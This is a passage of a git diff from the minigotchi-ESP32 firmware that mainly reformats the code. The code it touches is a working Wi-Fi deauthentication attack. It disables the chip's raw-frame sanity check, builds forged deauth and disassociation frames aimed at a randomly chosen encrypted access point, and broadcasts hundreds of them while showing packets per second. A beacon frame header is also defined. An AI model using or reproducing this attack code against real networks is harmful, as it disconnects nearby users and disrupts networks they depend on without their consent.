+= ","; + } } + err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); + ESP_ERROR_CHECK(err); + + err = nvs_commit(cfgHandle); + ESP_ERROR_CHECK(err); + nvs_close(cfgHandle); + } } /** developer note: @@ -188,13 +188,9 @@ void Config::saveConfig() { * @param min Lowest number * @param max Highest number */ -int Config::random(int min, int max) { - return min + rand() % (max - min + 1); -} +int Config::random(int min, int max) { return min + rand() % (max - min + 1); } /** * Checks current uptime */ -int Config::time() { - return millis() / 1000; -} +int Config::time() { return millis() / 1000; } diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 1090c26..52c4ea8 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -38,61 +38,61 @@ class Config { public: - static bool deauth; - static bool advertise; - static bool scan; - static bool spam; - static const char *ssid; - static const char *pass; - static int shortDelay; - static int longDelay; - static bool parasite; - static bool display; - static std::string screen; - static int baud; - static int channel; - static std::vector whitelist; - static String happy; - static String sad; - static String broken; - static String intense; - static String looking1; - static String looking2; - static String neutral; - static String sleeping; - static int epoch; - static std::string face; - static std::string identity; - static std::string name; - static int ap_ttl; - static bool associate; - static int bored_num_epochs; - static int channels[13]; - static int excited_num_epochs; - static int hop_recon_time; - static int max_inactive_scale; - static int max_interactions; - static int max_misses_for_recon; - static int min_recon_time; - static int min_rssi; - static int recon_inactive_multiplier; - static int recon_time; - static int sad_num_epochs; - static int sta_ttl; - static int pwnd_run; - static int pwnd_tot; - static std::string session_id; - static int uptime; - static std::string version; - static wifi_init_config_t wifiCfg; - static wifi_country_t ctryCfg; - static bool configured; - static void loadConfig(); - static void saveConfig(); + static bool deauth; + static bool advertise; + static bool scan; + static bool spam; + static const char *ssid; + static const char *pass; + static int shortDelay; + static int longDelay; + static bool parasite; + static bool display; + static std::string screen; + static int baud; + static int channel; + static std::vector whitelist; + static String happy; + static String sad; + static String broken; + static String intense; + static String looking1; + static String looking2; + static String neutral; + static String sleeping; + static int epoch; + static std::string face; + static std::string identity; + static std::string name; + static int ap_ttl; + static bool associate; + static int bored_num_epochs; + static int channels[13]; + static int excited_num_epochs; + static int hop_recon_time; + static int max_inactive_scale; + static int max_interactions; + static int max_misses_for_recon; + static int min_recon_time; + static int min_rssi; + static int recon_inactive_multiplier; + static int recon_time; + static int sad_num_epochs; + static int sta_ttl; + static int pwnd_run; + static int pwnd_tot; + static std::string session_id; + static int uptime; + static std::string version; + static wifi_init_config_t wifiCfg; + static wifi_country_t ctryCfg; + static bool configured; + static void loadConfig(); + static void saveConfig(); private: - static int random(int min, int max); - static int time(); + static int random(int min, int max); + static int time(); }; #endif // CONFIG_H diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index f3a1d50..0c0555d 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -33,8 +33,8 @@ // for some dumb reason espressif really doesn't like us sending deauth frames, // so i'll need to make this fix extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, - int32_t arg3) { - return 0; + int32_t arg3) { + return 0; } // default values before we start @@ -56,13 +56,32 @@ Mood &Deauth::mood = Mood::getInstance(); */ uint8_t Deauth::deauthTemp[26] = { - /* 0 - 1 */ 0xC0, 0x00, // Type, subtype: c0 => deauth, a0 => disassociate - /* 2 - 3 */ 0x00, 0x00, // Duration (handled by the SDK) - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Reciever MAC (To) - /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // Source MAC (From) - /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID MAC (From) - /* 22 - 23 */ 0x00, 0x00, // Fragment & squence number - /* 24 - 25 */ 0x01, 0x00 // Reason code (1 = unspecified reason) + /* 0 - 1 */ 0xC0, + 0x00, // Type, subtype: c0 => deauth, a0 => disassociate + /* 2 - 3 */ 0x00, + 0x00, // Duration (handled by the SDK) + /* 4 - 9 */ 0xFF, + 0xFF, + 0xFF, + 0xFF, + 0xFF, + 0xFF, // Reciever MAC (To) + /* 10 - 15 */ 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, // Source MAC (From) + /* 16 - 21 */ 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, + 0xCC, // BSSID MAC (From) + /* 22 - 23 */ 0x00, + 0x00, // Fragment & squence number + /* 24 - 25 */ 0x01, + 0x00 // Reason code (1 = unspecified reason) }; uint8_t Deauth::deauthFrame[26]; @@ -74,34 +93,34 @@ uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; * @param bssids SSIDs/BSSIDs to whitelist */ void Deauth::add(const std::string &bssids) { - std::stringstream ss(bssids); - std::string token; - - // seperate info and whitelist - while (std::getline(ss, token, ',')) { - // trim out whitespace - token.erase(0, token.find_first_not_of(" \t\r\n")); - token.erase(token.find_last_not_of(" \t\r\n") + 1); - - // add to whitelist - Serial.print(mood.getNeutral() + " Adding "); - Serial.print(token.c_str()); - Serial.println(" to the whitelist"); - Display::updateDisplay(mood.getNeutral(), "Adding " + - (String)token.c_str() + - " to the whitelist"); - delay(Config::shortDelay); - whitelist.push_back(token.c_str()); - } + std::stringstream ss(bssids); + std::string token; + + // seperate info and whitelist + while (std::getline(ss, token, ',')) { + // trim out whitespace + token.erase(0, token.find_first_not_of(" \t\r\n")); + token.erase(token.find_last_not_of(" \t\r\n") + 1); + + // add to whitelist + Serial.print(mood.getNeutral() + " Adding "); + Serial.print(token.c_str()); + Serial.println(" to the whitelist"); + Display::updateDisplay(mood.getNeutral(), "Adding " + + (String)token.c_str() + + " to the whitelist"); + delay(Config::shortDelay); + whitelist.push_back(token.c_str()); + } } /** * Adds everything to the whitelist */ void Deauth::list() { - for (const auto &bssid : Config::whitelist) { - Deauth::add(bssid); - } + for (const auto &bssid : Config::whitelist) { + Deauth::add(bssid); + } } /** @@ -111,10 +130,10 @@ void Deauth::list() { * @param sys_seq Ignore this, just make it false */ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); - delay(102); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); + delay(102); - return (err == ESP_OK); + return (err == ESP_OK); } /** @@ -124,12 +143,12 @@ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { * @param mac Mac address to check */ bool Deauth::broadcast(uint8_t *mac) { - for (uint8_t i = 0; i < 6; i++) { - if (mac[i] != broadcastAddr[i]) - return false; - } + for (uint8_t i = 0; i < 6; i++) { + if (mac[i] != broadcastAddr[i]) + return false; + } - return true; + return true; } /** @@ -137,9 +156,9 @@ bool Deauth::broadcast(uint8_t *mac) { * @param mac Address to print */ void Deauth::printMac(uint8_t *mac) { - String macStr = printMacStr(mac); - Serial.println(macStr); - Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); + String macStr = printMacStr(mac); + Serial.println(macStr); + Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); } /** @@ -147,10 +166,10 @@ void Deauth::printMac(uint8_t *mac) { * @param mac Mac to use */ String Deauth::printMacStr(uint8_t *mac) { - char buf[18]; // 17 for MAC, 1 for null terminator - snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], - mac[2], mac[3], mac[4], mac[5]); - return String(buf); + char buf[18]; // 17 for MAC, 1 for null terminator + snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], + mac[2], mac[3], mac[4], mac[5]); + return String(buf); } /** @@ -158,334 +177,334 @@ String Deauth::printMacStr(uint8_t *mac) { * was successful */ bool Deauth::select() { - // reset values - Deauth::randomAP = ""; - Deauth::randomIndex = -1; - - Parasite::sendDeauthStatus(START_SCAN); - - // cool animation, skip if parasite mode - if (!Config::parasite) { - for (int i = 0; i < 5; ++i) { - Serial.println(mood.getLooking1() + " Scanning for APs."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); - delay(Config::shortDelay); - Serial.println(mood.getLooking2() + " Scanning for APs.."); - Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); - delay(Config::shortDelay); - Serial.println(mood.getLooking1() + " Scanning for APs..."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); - delay(Config::shortDelay); - Serial.println(" "); - delay(Config::shortDelay); - } - delay(Config::longDelay); + // reset values + Deauth::randomAP = ""; + Deauth::randomIndex = -1; + + Parasite::sendDeauthStatus(START_SCAN); + + // cool animation, skip if parasite mode + if (!Config::parasite) { + for (int i = 0; i < 5; ++i) { + Serial.println(mood.getLooking1() + " Scanning for APs."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); + delay(Config::shortDelay); + Serial.println(mood.getLooking2() + " Scanning for APs.."); + Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); + delay(Config::shortDelay); + Serial.println(mood.getLooking1() + " Scanning for APs..."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); + delay(Config::shortDelay); + Serial.println(" "); + delay(Config::shortDelay); } - - // stop and scan - Minigotchi::monStop(); - - int apCount = 0; - // If a parasite channel is set, then we want to focus on that channel - // Otherwise go off on our own and scan for whatever is out there - if (Parasite::channel > 0) { - apCount = WiFi.scanNetworks(false, false, Parasite::channel); - } else { - apCount = WiFi.scanNetworks(); + delay(Config::longDelay); + } + + // stop and scan + Minigotchi::monStop(); + + int apCount = 0; + // If a parasite channel is set, then we want to focus on that channel + // Otherwise go off on our own and scan for whatever is out there + if (Parasite::channel > 0) { + apCount = WiFi.scanNetworks(false, false, Parasite::channel); + } else { + apCount = WiFi.scanNetworks(); + } + + if (apCount > 0 && Deauth::randomIndex == -1) { + Deauth::randomIndex = random(apCount); + Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); + uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); + + Serial.print(mood.getNeutral() + " Selected random AP: "); + Serial.println(randomAP.c_str()); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Selected random AP: " + randomAP); + delay(Config::shortDelay); + + if (encType == WIFI_AUTH_OPEN || encType == -1) { + Serial.println( + mood.getNeutral() + + " Selected AP is not encrypted. Skipping deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is not encrypted. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); + return false; } - if (apCount > 0 && Deauth::randomIndex == -1) { - Deauth::randomIndex = random(apCount); - Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); - uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); - - Serial.print(mood.getNeutral() + " Selected random AP: "); - Serial.println(randomAP.c_str()); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Selected random AP: " + randomAP); - delay(Config::shortDelay); - - if (encType == WIFI_AUTH_OPEN || encType == -1) { - Serial.println( - mood.getNeutral() + - " Selected AP is not encrypted. Skipping deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is not encrypted. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); - return false; - } - - // check for ap in whitelist - if (std::find(whitelist.begin(), whitelist.end(), randomAP) != - whitelist.end()) { - Serial.println(mood.getNeutral() + - " Selected AP is in the whitelist. Skipping " - "deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is in the whitelist. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_WHITELIST); - return false; - } + // check for ap in whitelist + if (std::find(whitelist.begin(), whitelist.end(), randomAP) != + whitelist.end()) { + Serial.println(mood.getNeutral() + + " Selected AP is in the whitelist. Skipping " + "deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is in the whitelist. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_WHITELIST); + return false; + } - /** developer note: - * - * here we will create the deauth frame using the header, - * as we find the AP in question we also generate the required information - * for it as well... - * - */ - - // clear out exisitng frame... - std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), - 0); - std::fill(std::begin(Deauth::disassociateFrame), - std::end(Deauth::disassociateFrame), 0); - - // copy template - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::deauthFrame); - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::disassociateFrame); - - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - // bssid - uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); - - /** developer note: - * - * addr1: reciever addr - * addr2: sender addr - * addr3: filtering addr - * - */ - - // copy our mac(s) to header - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); - - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); - - // checks if this is a broadcast - if (!broadcast(Deauth::broadcastAddr)) { - // build deauth - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - // reason - Deauth::deauthFrame[24] = 0x01; // reason: unspecified - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 16); - - // build disassocaition - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - std::copy(apBssid, apBssid + sizeof(apBssid), - Deauth::disassociateFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 16); - } + /** developer note: + * + * here we will create the deauth frame using the header, + * as we find the AP in question we also generate the required information + * for it as well... + * + */ + + // clear out exisitng frame... + std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), + 0); + std::fill(std::begin(Deauth::disassociateFrame), + std::end(Deauth::disassociateFrame), 0); + + // copy template + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::deauthFrame); + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::disassociateFrame); + + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + // bssid + uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); + + /** developer note: + * + * addr1: reciever addr + * addr2: sender addr + * addr3: filtering addr + * + */ + + // copy our mac(s) to header + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); + + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); + + // checks if this is a broadcast + if (!broadcast(Deauth::broadcastAddr)) { + // build deauth + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + // reason + Deauth::deauthFrame[24] = 0x01; // reason: unspecified + + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 16); + + // build disassocaition + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + std::copy(apBssid, apBssid + sizeof(apBssid), + Deauth::disassociateFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 16); + } - Serial.print(mood.getNeutral() + " Full AP SSID: "); - Serial.println(WiFi.SSID(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP Encryption: "); - Serial.println(WiFi.encryptionType(Deauth::randomIndex)); - Display::updateDisplay( - mood.getNeutral(), - "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP RSSI: "); - Serial.println(WiFi.RSSI(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP RSSI: " + + Serial.print(mood.getNeutral() + " Full AP SSID: "); + Serial.println(WiFi.SSID(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP Encryption: "); + Serial.println(WiFi.encryptionType(Deauth::randomIndex)); + Display::updateDisplay( + mood.getNeutral(), + "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP RSSI: "); + Serial.println(WiFi.RSSI(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP RSSI: " + (String)WiFi.RSSI(Deauth::randomIndex)); - Serial.print(mood.getNeutral() + " AP BSSID: "); - printMac(apBssid); + Serial.print(mood.getNeutral() + " AP BSSID: "); + printMac(apBssid); - Serial.print(mood.getNeutral() + " AP Channel: "); - Serial.println(WiFi.channel(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP Channel: " + + Serial.print(mood.getNeutral() + " AP Channel: "); + Serial.println(WiFi.channel(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP Channel: " + (String)WiFi.channel(Deauth::randomIndex)); - Serial.println(" "); - delay(Config::longDelay); + Serial.println(" "); + delay(Config::longDelay); - Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); + Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); - return true; - } else if (apCount < 0) { - Serial.println(mood.getSad() + - " I don't know what you did, but you screwed up!"); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); + return true; + } else if (apCount < 0) { + Serial.println(mood.getSad() + + " I don't know what you did, but you screwed up!"); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); - Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); + Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); - delay(Config::shortDelay); - } else { - // well ur fucked. - Serial.println(mood.getSad() + " No access points found."); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "No access points found."); + delay(Config::shortDelay); + } else { + // well ur fucked. + Serial.println(mood.getSad() + " No access points found."); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "No access points found."); - Parasite::sendDeauthStatus(NO_APS); + Parasite::sendDeauthStatus(NO_APS); - delay(Config::shortDelay); - } - return false; + delay(Config::shortDelay); + } + return false; } /** * Full deauthentication attack */ void Deauth::deauth() { - if (Config::deauth) { - // select AP - if (Deauth::select()) { - if (randomAP.length() > 0) { - Serial.println( - mood.getIntense() + - " Starting deauthentication attack on the selected AP..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), - "Begin deauth-attack on AP..."); - delay(Config::shortDelay); - // define the attack - if (!running) { - start(); - } else { - Serial.println(mood.getNeutral() + " Attack is already running."); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Attack is already running."); - delay(Config::shortDelay); - } - } else { - // ok why did you modify the deauth function? i literally told you to - // not do that... - Serial.println(mood.getBroken() + - " No access point selected. Use select() first."); - Serial.println(mood.getNeutral() + " Told you so!"); - Serial.println(" "); - Display::updateDisplay(mood.getBroken(), - "No access point selected. Use select() first."); - delay(Config::shortDelay); - Display::updateDisplay(mood.getNeutral(), "Told you so!"); - delay(Config::shortDelay); - return; - } + if (Config::deauth) { + // select AP + if (Deauth::select()) { + if (randomAP.length() > 0) { + Serial.println( + mood.getIntense() + + " Starting deauthentication attack on the selected AP..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), + "Begin deauth-attack on AP..."); + delay(Config::shortDelay); + // define the attack + if (!running) { + start(); + } else { + Serial.println(mood.getNeutral() + " Attack is already running."); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Attack is already running."); + delay(Config::shortDelay); } - } else { - // do nothing if deauthing is disabled + } else { + // ok why did you modify the deauth function? i literally told you to + // not do that... + Serial.println(mood.getBroken() + + " No access point selected. Use select() first."); + Serial.println(mood.getNeutral() + " Told you so!"); + Serial.println(" "); + Display::updateDisplay(mood.getBroken(), + "No access point selected. Use select() first."); + delay(Config::shortDelay); + Display::updateDisplay(mood.getNeutral(), "Told you so!"); + delay(Config::shortDelay); + return; + } } + } else { + // do nothing if deauthing is disabled + } } /** * Starts deauth attack */ void Deauth::start() { - running = true; - int deauthFrameSize = sizeof(deauthFrame); - int disassociateFrameSize = sizeof(disassociateFrame); - int packets = 0; - unsigned long startTime = millis(); - - // packet calculation - int basePacketCount = 150; - int rssi = WiFi.RSSI(Deauth::randomIndex); - int numDevices = WiFi.softAPgetStationNum(); - - int packetCount = basePacketCount + (numDevices * 10); - if (rssi > -50) { - packetCount /= 2; // strong signal - } else if (rssi < -80) { - packetCount *= 2; // weak signal - } - - Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); - - // send the deauth 150 times(ur cooked if they find out) - for (int i = 0; i < packetCount; ++i) { - if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - packets++; - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s"); - Serial.println(" (AP:" + randomAP + ")"); - Display::updateDisplay(mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (AP:" + randomAP + ")"); - } - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Both packets failed to send!"); - Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Deauthentication failed to send!"); - Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); - } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Disassociation failed to send!"); - Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); - } else { - Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); - Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); - } + running = true; + int deauthFrameSize = sizeof(deauthFrame); + int disassociateFrameSize = sizeof(disassociateFrame); + int packets = 0; + unsigned long startTime = millis(); + + // packet calculation + int basePacketCount = 150; + int rssi = WiFi.RSSI(Deauth::randomIndex); + int numDevices = WiFi.softAPgetStationNum(); + + int packetCount = basePacketCount + (numDevices * 10); + if (rssi > -50) { + packetCount /= 2; // strong signal + } else if (rssi < -80) { + packetCount *= 2; // weak signal + } + + Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); + + // send the deauth 150 times(ur cooked if they find out) + for (int i = 0; i < packetCount; ++i) { + if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + packets++; + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s"); + Serial.println(" (AP:" + randomAP + ")"); + Display::updateDisplay(mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (AP:" + randomAP + ")"); + } + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Both packets failed to send!"); + Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Deauthentication failed to send!"); + Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); + } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Disassociation failed to send!"); + Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); + } else { + Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); + Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); } + } - Serial.println(" "); - Serial.println(mood.getHappy() + " Attack finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Attack finished!"); - running = false; + Serial.println(" "); + Serial.println(mood.getHappy() + " Attack finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Attack finished!"); + running = false; } diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 540b656..19671d5 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -61,16 +61,43 @@ const uint16_t Frame::wpaFlags = 0x0411; Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! -const uint8_t Frame::header[] { - /* 0 - 1 */ 0x80, 0x00, // frame control, beacon frame - /* 2 - 3 */ 0x00, 0x00, // duration - /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // broadcast address - /* 10 - 15 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // source address - /* 16 - 21 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // bssid - /* 22 - 23 */ 0x00, 0x00, // fragment and sequence number - /* 24 - 32 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // timestamp - /* 33 - 34 */ 0x64, 0x00, // interval - /* 35 - 36 */ 0x11, 0x04, // capability info +const uint8_t Frame::header[]{ + /* 0 - 1 */ 0x80, + 0x00, // frame control, beacon frame + /* 2 - 3 */ 0x00, + 0x00, // duration + /* 4 - 9 */ 0xff, + 0xff, + 0xff, + 0xff, + 0xff, + 0xff, // broadcast address + /* 10 - 15 */ 0xde, + 0xad, + 0xbe, + 0xef, + 0xde, + 0xad, // source address + /* 16 - 21 */ 0xde, + 0xad, + 0xbe, + 0xef, + 0xde, + 0xad, // bssid + /* 22 - 23 */ 0x00, + 0x00, // fragment and sequence number + /* 24 - 32 */ 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, // timestamp + /* 33 - 34 */ 0x64, + 0x00, // interval + /* 35 - 36 */ 0x11, + 0x04, // capability info }; // get header length @@ -99,150 +126,150 